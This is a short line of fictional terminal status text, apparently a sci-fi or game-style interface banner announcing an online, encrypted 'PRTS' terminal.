SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE